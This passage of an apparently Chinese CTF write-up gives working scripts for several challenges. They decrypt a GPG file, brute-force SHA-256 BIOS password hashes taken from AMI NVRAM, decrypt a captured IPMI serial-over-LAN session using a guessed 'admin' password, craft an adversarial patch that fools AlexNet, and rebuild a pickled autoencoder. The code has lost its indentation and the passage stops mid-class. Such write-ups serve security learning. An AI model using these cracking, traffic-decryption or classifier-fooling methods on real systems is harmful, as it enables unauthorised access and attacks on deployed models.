FILE *key_file = fopen("pgp-deck", "r");
if (key_file == NULL) {
puts("key file does not exist\n");
return -1;
}
fseek(key_file, 0, SEEK_END);
int key_bytes_len = ftell(key_file);
fseek(key_file, 0, SEEK_SET);
uint8_t *key_bytes = malloc(32);
fread(key_bytes, 1, 32, key_file);
fclose(key_file);
if (key_bytes_len != 64) {
puts("invalid canokey impl key length\n");
return -1;
}
printf("key: ");
hexdump(key_bytes, 32);
hexdump(input_bytes, 32);
uint8_t output[10000];
swap_big_number_endian(input_bytes);
x25519(output, key_bytes, input_bytes);
swap_big_number_endian(output);
printf("result: ");
hexdump(output, input_hex_str_len/2);
return 0;
}

函数x25519直接从canokeys-crypto源码扣,mbedtls库也参考canokey-crypto依赖的版本,版本不对编不过
然后分析gpg解密过程,自己玩一下gpg,生成密钥,解密个文件,开--debug-all,同时阅读gpg源码,都是开源的东西,照着解密写
贴一个脚本

Python
import base64
import subprocess
import hashlib
import re
from binascii import unhexlify, hexlify
from Crypto.Cipher import AES
from aes_keywrap import aes_unwrap_key
with open("flag.txt.gpg", "rb") as f:
data = f.read()
# data = ''.join(f.read().split('\n')[1:-3])
# data = base64.b64decode(bytes(data, encoding='utf-8'))
# get key info
import base64
key_info_text = subprocess.check_output(["gpg", "--import-options", "show-only", "--import", "--with-key-data", "naivekun.asc"]).decode()
subkey_fingerprint = re.search("sub:[^\n]+\nfpr:+([0-9A-Z]+):", key_info_text).group(1)
# subkey_kdf_param = re.search("pkd:2:32:([0-9A-Z]+):", key_info_text).group(1)
subkey_pk_0 = re.search("sub:[^\n]+(?:\n.*)+pkd:0:\d+:([0-9A-Z]+):", key_info_text).group(1)
rfc_PUBKEY_ALGO_ECDH = 18
subkey_pk_2 = re.search("sub:[^\n]+(?:\n.*)+pkd:2:\d+:([0-9A-Z]+):", key_info_text).group(1)
kdf_param_fixed_4 = b"Anonymous Sender "
print("subkey fingerprint:", subkey_fingerprint)
# print("subkey KDF param:", subkey_kdf_param)
print("subkey pkey[0]:",subkey_pk_0)
print("subkey pkey[2]:",subkey_pk_2)
kdf_message_param = unhexlify(subkey_pk_0) + bytes([rfc_PUBKEY_ALGO_ECDH]) + unhexlify(subkey_pk_2) + kdf_param_fixed_4 + unhexlify(subkey_fingerprint)
print("kdf message param:", hexlify(kdf_message_param))
# x25519 crypto device decrypt
try:
ecdh_param_text = subprocess.check_output(["gpg", "--list-packets", "-v", "flag.txt.gpg"])
except Exception as e:
ecdh_param_text = e.output.decode()
ecdh_param_1 = re.search("pubkey enc packet.\n\tdata: ([A-Z0-9]+)", ecdh_param_text).group(1)[2:]
print("ECDH encrypted param:", ecdh_param_1)
ecdh_decrypt_result = subprocess.check_output(["./dec", ecdh_param_1])
ecdh_shared_string = re.search("result: (.
)", ecdh_decrypt_result.decode()).group(1)
print("canokeys shared secret:", ecdh_shared_string)
# derive kek
hasher = hashlib.sha256()
hasher.update(b"\x00\x00\x00\x01")
hasher.update(unhexlify(ecdh_shared_string))
hasher.update(kdf_message_param)
kek_dec_key = hasher.digest()[:16]
print("KEK decrypt key:", hexlify(kek_dec_key))
encrypted_kek = data[0x30:0x60]
print(encrypted_kek)
# kek_decryptor = AES.new(kek_dec_key, AES.MODE_OPENPGP)
# kek = kek_decryptor.decrypt(encrypted_kek)
kek = aes_unwrap_key(kek_dec_key, encrypted_kek)[1:1+32]
print("KEK:", hexlify(kek))
# override session key to decrypt
ret = subprocess.check_output(["gpg", "--override-session-key", "9:"+hexlify(kek).decode(), "-d", "flag.txt.gpg"])
with open("flag.txt", "wb") as f:
f.write(ret)
print(ret)
print("decrypted!")
# packet_enc = data[0x75:0x75+3654]
# packet_decryptor = AES.new(kek, AES.MODE_CFB, b'\x00'*16)
# packet_decrypted = packet_decryptor.decrypt(packet_enc)
# print(packet_decrypted)

跑一下

img47.png

BootFlag
这题是之前在闲鱼买了块服务器主板,发现有密码进不去,用CLR_CMOS跳线也清不掉,于是研究了一下。BIOS是真机的BIOS

img48.png

题目给了一个BIOS固件和一个录屏,录屏是用BMC录得,是服务器很常见的管理功能
录屏中看到设置了administrator password和user password,然后保存重启
题目描述flag是printf("L3HCTF{%s%s}", admin_password, user_password)
密码应该是被保存在了BIOS中,网上查一下怎么恢复BIOS密码,提到一个叫AMITSE的东西,会把密码存在AMITSESetup变量中
https://gist.github.com/en4rab/550880c099b5194fbbf3039e3c8ab6fd
链接中提到是个异或
使用UEFITool打开BIOS,找到NVRAM,变量AMITSESetup

img49.png

这里应该是密码
关于如何解密,可以找到AMITSE模块逆向

img50.png

也可以github找找泄露的代码
https://github.com/marktsai0316/RAIDOOBMODULE
读一读发现可选几种变换方式,xor或者sha256或者sha1,由函数PasswordEncodeHook实现
从上面NVRAM抠出来,写个脚本爆破
注意一下它传入sha256的长度,以及UTF16的问题,仔细阅读源码

Python
import hashlib
import itertools
import string
hash1 = ("c0470b97efc32108a06fe1b695b447c845f78d90438f43f1e2bed18a5af4e704")
hash2 = ("ab1e1a0f2127221775bc850312da0ba81e55a13e0c08f144382b6b11c8890494")
for i in itertools.permutations(string.digits+string.ascii_letters, 4):
p = ''.join(i)
p = str.encode(p, 'utf-16')[2:] # strip FF FE
p = p.ljust(40, b'\x00')
hash = hashlib.sha256(p).hexdigest()
# print(p, hash, hash1)
if hash == hash1:
print("hash1: ", ''.join(i))
if hash == hash2:
print("hash2: ", ''.join(i))

可以爆破出
hash2: 7D12
hash1: 7K62
注意到都是大写,因为这个bios固件默认是忽略大小写,源码里是全转大写存储,题目说道
Admin password is [A-Z0-9]+
User password contains [a-z0-9]+
得出一个密码是7D12,另一个是7k62
flag是L3HCTF{7D127k62}
a-sol
题目给了一个流量包,打开看到是RMCP+流量,搜一下知道是ipmitool连接服务器BMC管理服务器的流量,后面能看到sol,即serial over lan串口重定向的流量
爆破密码,admin,翻ipmi标准,写脚本解密RMCP+流量
先查一下标准:https://www.intel.com/content/dam/www/public/us/en/documents/product-briefs/ipmi-second-gen-interface-spec-v2-rev1-1.pdf
通信payload加密算法由ipmi open session request中决定,看一下流量包,是aes cbc
然后看iv是每个payload前16字节,密钥由下列方式变换得到
SIK = HMAC KG (Rm | Rc | RoleM | ULengthM | )
Const2 = 0x02020202020202020202 02020202020202020202
K2 = HMAC SIK (Const2)
然后K2就是AES的密码
这些信息在RAKP Message 1和2都是有的

img51.png

写个脚本算出密钥,解密流量包
见dec.py
发现前面有一些操作,有兴趣看的话是读了一下传感器,读了一下fru,然后开电源,然后开启serial over lan。
解密serial over lan流量,就是一个串口远程终端,可以看到BIOS自检信息,进grub,开机,输密码,登录
输入内容有顺序,可能需要稍微修一下顺序
输入的密码就是flag

Python
from Crypto.Cipher import AES
import hashlib
import hmac
import dpkt
d = [pkt for i, pkt in dpkt.pcap.Reader(open("a-sol.pcap",'rb'))]
RAKP1 = bytes.fromhex("a81e84668565085bd6cbbc8b08004500004dcb3b000080110000c0a8049bc0a8046cc9a4026f00398aa20600ff0706120000000000000000210000000000dfb7427d6a3a75275c5fe60dce8a680d2b54fc781400000561646d696e")
RAKP2 = bytes.fromhex("085bd6cbbc8ba81e84668565080045100068000040004011b01dc0a8046cc0a8049b026fc9a40054525d0600ff07061300000000000000003c0000000000a4a3a2a0ea9ba3e57dd990cd709cfae894ff7ac2e47bd05cab7700108e2ca81e846685654ed2363575c4ee4e57d276251f4cd1757f65e7fb")
Rm = RAKP1[0x42:0x42+16]
Rc = RAKP2[0x42:0x42+16]
RoleM = b'\x14'
ULengthM = b'\x05'
UNameM = b"admin"
KG = b'admin'.ljust(20, b'\x00')
SIK = hmac.new(KG, Rm+Rc+RoleM+ULengthM+UNameM, hashlib.sha1).digest()
print("SIK:", SIK)
K2 = hmac.new(SIK, bytes.fromhex('0202020202020202020202020202020202020202'), hashlib.sha1).digest()
print("K2:", K2)
K2 = K2[:16]
def dec_rmcp_payload(payload):
iv = payload[:16]
return AES.new(K2, AES.MODE_CBC, iv).decrypt(payload[16:])
for packet in d:
if len(packet) > 0x40:
try:
if packet[0x2f] == 0xc1:
data = packet
print(dec_rmcp_payload(data[0x3a:-0x10])[4:])
except:
pass

部分流量如下

Python
b'[ 0.089480] [Firmware Bug]: TSC_DEADLINE disabled due to Errata; please update microcode to v\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'ersion: 0x3a (or later)\r\n\x01\x02\x02'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'[ 2.408316] mpt3sas_cm0: overriding NVDATA EEDPTagMode setting\r\n\x01\x02\x03\x04\x05\x06\x07\x08\x08'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\r\nDebian GNU/Linux 10 l3hsecsrv002 ttyS1\r\n\r\nl3hsecsrv002 login: \x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'r\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'o\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'r\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'o\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'o\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'o\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b't\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b't\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\r\nPassword: \x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0e'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'1\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'2\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'3\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'4\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'5\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'6\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\n\x01\x02\x03\x04\x05\x06\x07\x08\t\t'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\nLogin incorrect\r\nl3hsecsrv002 login: \x01\x02\x03\x04\x04'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'n\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'a\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'n\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'i\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'a\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'v\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'i\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'e\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'v\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'k\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'e\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'u\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'k\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'n\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'u\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'n\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\nPassword: \x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x0f'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'L\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'3\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'H\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'C\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'T\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'F\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'{\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'B\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'A\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'd\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'C\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'r\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'Y\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'p\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b't\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'0\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'G\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'r\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'A\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'p\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'h\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'1\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'c\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'P\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'R\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'a\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'c\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b't\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'1\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'c\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'e\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'1\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'3\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'8\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'2\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'9\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'5\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'}\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\nLast login: Fri Nov 12 20:23:42 CST 2021 on ttyS1\r\nLinux l3hsecsrv002 4.19.0-16-amd64 #1 SMP D\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'ebian 4.19.181-1 (2021-03-19) x86_64\r\n\r\nThe programs included with the Debian GNU/Linux system are free software;\r\nthe exact distribution terms for each program are described in the\r\nindividual files in /usr/share/doc/*/copyright.\r\n\r\nDebian GNU/Lin\x01\x02\x03\x03'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'ux comes with ABSOLUTELY NO WARRANTY, to the extent\r\npermitted by applicable law.\r\n$ \x01\x02\x03\x04\x05\x06\x06'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'b\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'a\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'b\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b's\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'h\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'as\x01\x02\x03\x04\x05\x06\x07\x08\t\t'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'h\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\nnaivekun@l3hsecsrv002:~$ \x00'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'u\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'n\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'u\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'a\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'n\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'm\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'a\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'e\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'm\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b' \x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'e\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'-\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b' \x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'a\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'-\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'a\x01\x02\x03\x04\x05\x06\x07\x08\t\n\n'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\r\nLinux l3hsecsrv002 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 GNU/Linux\r\nnai\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'
b'vekun@l3hsecsrv002:~$ \x01\x02\x03\x04\x05\x05'
b'\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0b'

Alex
简单的targeted的对抗样本生成。要求是修改至多15%的像素,欺骗Alexnet达到和目标类别超过0.6的置信度(为了大家游玩体验特意降低的,结果导致有同学用各种奇怪方法手动做图片hhh)。目标是动态随机生成的,限时60s。
预期的解法是做(类似)fgsm的攻击,下面简单的脚本在图片左下角叠加了一个70x70的patch,在仅使用cpu的情况下也能以可观的速度(<5s)生成对抗样本。

Python
def attack(target: int):
img = Image.open("a.png")
t = transforms.ToTensor()
img_tensor = t(img).view((1, 3, 224, 224))
print(img_tensor.size())
alex = model.get_model()
alex.eval()
PATCH_SIZE = 70
noise = torch.zeros((1, 3, PATCH_SIZE, PATCH_SIZE))
optimizer = optim.SGD(params=[noise], lr=0.01)
pad = nn.ZeroPad2d((0, 224-PATCH_SIZE, 224-PATCH_SIZE, 0))
with open("imagenet_classes.txt", "r") as f:
categories = [s.strip() for s in f.readlines()]
noise = noise.requires_grad_(True)
writer = tensorboardX.SummaryWriter()
preprocess = transforms.Compose([
# transforms.Resize(256),
# transforms.CenterCrop(224),
# transforms.ToTensor(),
transforms.Normalize(mean=[0.485, 0.456, 0.406],
std=[0.229, 0.224, 0.225]),
])
for epoch in range(200):
alex.zero_grad()
pad.zero_grad()
adv_img: Tensor = (pad(noise) + img_tensor).clamp(0, 1)
preprocessed = preprocess(adv_img)
output = alex(preprocessed)

probabilities = torch.nn.functional.softmax(output[0], dim=0)
top5_prob, top5_catid = torch.topk(probabilities, 5)
for i in range(top5_prob.size(0)):
print(categories[top5_catid[i]], top5_prob[i].item())
loss = -output[0, target]
loss.backward()
optimizer.step()
writer.add_image("img", adv_img.squeeze(), epoch)
writer.flush()

生成的效果大概这样

img52.png

alex的预测结果是
school bus 1.0
passenger car 4.20344176133014e-11
cab 7.246450076277278e-13
lifeboat 1.6434043795948705e-13
trailer truck 3.55169893332969e-14
Deep Dark Fantasy
首先是简单的xor cipher。torch.load是基于pickle实现的反序列化,所以文件头部一定是PK,xor一下就可以得到xor key 0xde。
torch.load解密之后的文件,报错,缺model模块,加一个model.py,再加载,报错缺MyAutoEncoder类,加一个空MyAutoEndoer类,再加载,报错缺两个成员和,Encoder类和Decoder类,加上这两个空的类。
当上面所需要的类都被mock之后,torch.load就可以正确加载这个文件并且填充对象成员。load得到的是一个dict,print出来发现包含两个键值对,键是字符串model和state_dict。打印出model对应的内容,可以看到完整的网络结构。

Swift
MyAutoEncoder(
(encoder): Encoder(
(conv): Sequential(
(0): Conv2d(1, 16, kernel_size=(3, 3), stride=(2, 2), padding=(1, 1))
(1): ReLU()
(2): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)
(3): Conv2d(16, 8, kernel_size=(3, 3), stride=(2, 2), padding=(1, 1))
(4): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)
(5): ReLU()
(6): Conv2d(8, 8, kernel_size=(3, 3), stride=(2, 2), padding=(1, 1))
(7): MaxPool2d(kernel_size=2, stride=2, padding=1, dilation=1, ceil_mode=False)
(8): ReLU()
(9): MaxPool2d(kernel_size=2, stride=2, padding=0, dilation=1, ceil_mode=False)
(10): Flatten(start_dim=1, end_dim=-1)
)
(fc): Linear(in_features=32, out_features=16, bias=True)
)
(decoder): Decoder(
(convt): Sequential(
(0): ConvTranspose2d(1, 256, kernel_size=(1, 1), stride=(1, 1))
(1): ReLU()
(2): ConvTranspose2d(256, 256, kernel_size=(1, 1), stride=(1, 1))
(3): ReLU()
(4): ConvTranspose2d(256, 512, kernel_size=(1, 1), stride=(1, 1))
(5): ReLU()
(6): ConvTranspose2d(512, 128, kernel_size=(4, 4), stride=(4, 4))
(7): ReLU()
(8): ConvTranspose2d(128, 64, kernel_size=(4, 4), stride=(4, 4))
(9): ReLU()
(10): ConvTranspose2d(64, 32, kernel_size=(2, 2), stride=(2, 2))
(11): ReLU()
(12): ConvTranspose2d(32, 1, kernel_size=(2, 2), stride=(2, 2))
(13): Sigmoid()
)
)
)

至此就可以确定这是一个Auto Encoder,输入和输出都是一张单通道图片。图片的大小可以根据中间的瓶颈大小看出来,输入图片经过encoder被卷积网络降维为16d向量,再经过decoder被反卷积网络重构为图片。经过我们小学二年级学过的四则运算可以计算得到输入和输出都是1x256x256的(如果是懒狗或者不小心忘记了四则运算可以扔一个tensor进去看看torch的报错信息来猜大小)。
接下来的问题是确定这玩意是干啥用的。Auto Encoder一般用来做无监督学习,目标一般都是最小化reconstruction error。可以合理推断模型输入一个含有flag的图片,输出一个相同的图片。(其实这里是模仿re的常见思路,题目给出一个flag验证机,要求选手获得其中的flag)
有的同学会纠结forward函数的问题,其实没想象的这么复杂...下面是从上面的输出重建的源代码(是真的重建一次,因为出题人训练的时候不小心删了py)。

Python
from torch import nn, Tensor
import torch
from torch.nn import Sequential, Linear, MaxPool2d, ReLU
from torch.nn.modules.activation import Sigmoid
from torch.nn.modules.conv import Conv2d, ConvTranspose2d
from torch.nn.modules.flatten import Flatten
class Encoder(nn.Module):
def init(self) -> None:
super().init()
self.conv = Sequential(
Conv2d(in_channels=1, out_channels=16,
kernel_size=3, stride=2, padding=1),
ReLU(),
MaxPool2d(kernel_size=2, stride=2),
Conv2d(in_channels=16, out_channels=8,
kernel_size=3, stride=2, padding=1),
MaxPool2d(kernel_size=2, stride=2),
ReLU(),
Conv2d(in_channels=8, out_channels=8,
kernel_size=3, stride=2, padding=1),
MaxPool2d(kernel_size=2, stride=2, padding=1),
ReLU(),
MaxPool2d(kernel_size=2, stride=2),
Flatten(),
)
self.fc = Linear(in_features=32, out_features=16)
def forward(self, x: Tensor) -> Tensor:
y = self.conv(x)
y = self.fc(y)
return y
class Decoder(nn.Module):
def init(self) -> None:
super().init()
self.convt = Sequential(
ConvTranspose2d(in_channels=1, out_channels=256,
kernel_size=1, stride=1),
ReLU(),
